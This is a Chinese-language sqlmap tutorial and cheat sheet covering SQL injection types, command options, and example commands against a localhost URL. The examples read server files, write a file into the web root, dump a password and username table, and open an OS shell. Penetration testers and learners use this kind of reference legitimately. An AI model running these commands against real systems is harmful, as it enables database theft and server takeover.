Sqlmap是一款开源的自动化SQL注入工具,是集获取数据库信息、获取主机权限、读写文件和提权等功能于一身的强大注入工具。
MySQL
Oracle
PostgreSQL
Microsoft SQL Server
Microsoft Access
IBM DB2
SQLite
Firebird
Sybase
SAP MaxDB
布尔的盲注——根据返回页面判断条件真假的注入
时间的盲注——用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断
报错注入——把注入的语句的结果直接返回在错误信息页面中
联合查询注入——可以使用union的情况下的注入;
堆查询注入——可以同时执行多条语句的执行时的注入。
获取数据库信息:
-u 指定目标URL
–dbs 列出所有的数据库
–dbms 指定数据库类型
–users 列出数据库管理系统用户
–current-db 列出当前数据库
-D 选择使用哪个数据库
-T 选择使用哪个表
-C 选择使用哪个列
–tables 列出当前的表
–columns 列出当前的列
–dump 获取字段中的数据
–banner 检索 banner
基本设置:
-d 连接数据库
–cookie 添加cookie认证(当程序有防get注入的时候,可以使用cookie注入)
–user-agent 使用特定的浏览器用户代理
–os-shell 获取主机shell
–thread 设置多线程(默认为3,最大为10)
–tamper 调用脚本进行注入
–delay 设置多久访问一次
-timeout 设定超时时间
-level 设置注入探测等级(1-5,默认1; 级别越高,检测越全面)
-v 指定sqlmap的回显等级(0-6,默认1)【“0”只显示python错误以及严重的信息;1同时显示基本信息和警告信息(默认);“2”同时显示debug信息;“3”同时显示注入的payload;“4”同时显示HTTP请求;“5”同时显示HTTP响应头;“6”同时显示HTTP响应页面】
读写文件:
–file-read 读取文件(后面接本地要访问的目标文件)
–file-write 写入文件(后面接本地要写入的文件)
–file-dest 写入文件的绝对路径(后面接要写入目标主机的路径)
读写文件Payload:
读取Linux服务器的文件:
sqlmap.py -u "http://127.0.0.1/user.php?id=0" --file-read=/etc/1.txt
读取Windows服务器的文件:
sqlmap.py -u "http://127.0.0.1/user.php?id=0" --file-read=D:/1.txt
写入本地文件到服务器上:
sqlmap.py -u "http://127.0.0.1/user.php?id=0" --file-write /test/1.txt --file-dest /var/www/html/1.txt
测试URL是否存在注入:
sqlmap.py -u "http://127.0.0.1/user.php?id=0"
列出数据库用户:
sqlmap.py -u "http://127.0.0.1/user.php?id=0" --users
列出数据库所有库名:
sqlmap.py -u "http://127.0.0.1/user.php?id=0" --dbs
查看当前数据库:
sqlmap.py -u "http://127.0.0.1/user.php?id=0" --current-db
查看数据库security中的表:
sqlmap.py -u "http://127.0.0.1/user.php?id=0" -D security --tables
查看表users中的字段:
sqlmap.py -u "http://127.0.0.1/user.php?id=0" -D security -T users --columns
查看字段password,username的内容:
sqlmap.py -u "http://127.0.0.1/user.php?id=0" -D security -T users -C "password,username" --dump
拿下服务器shell:
sqlmap.py -u "http://127.0.0.1/user.php?id=0" –os-shell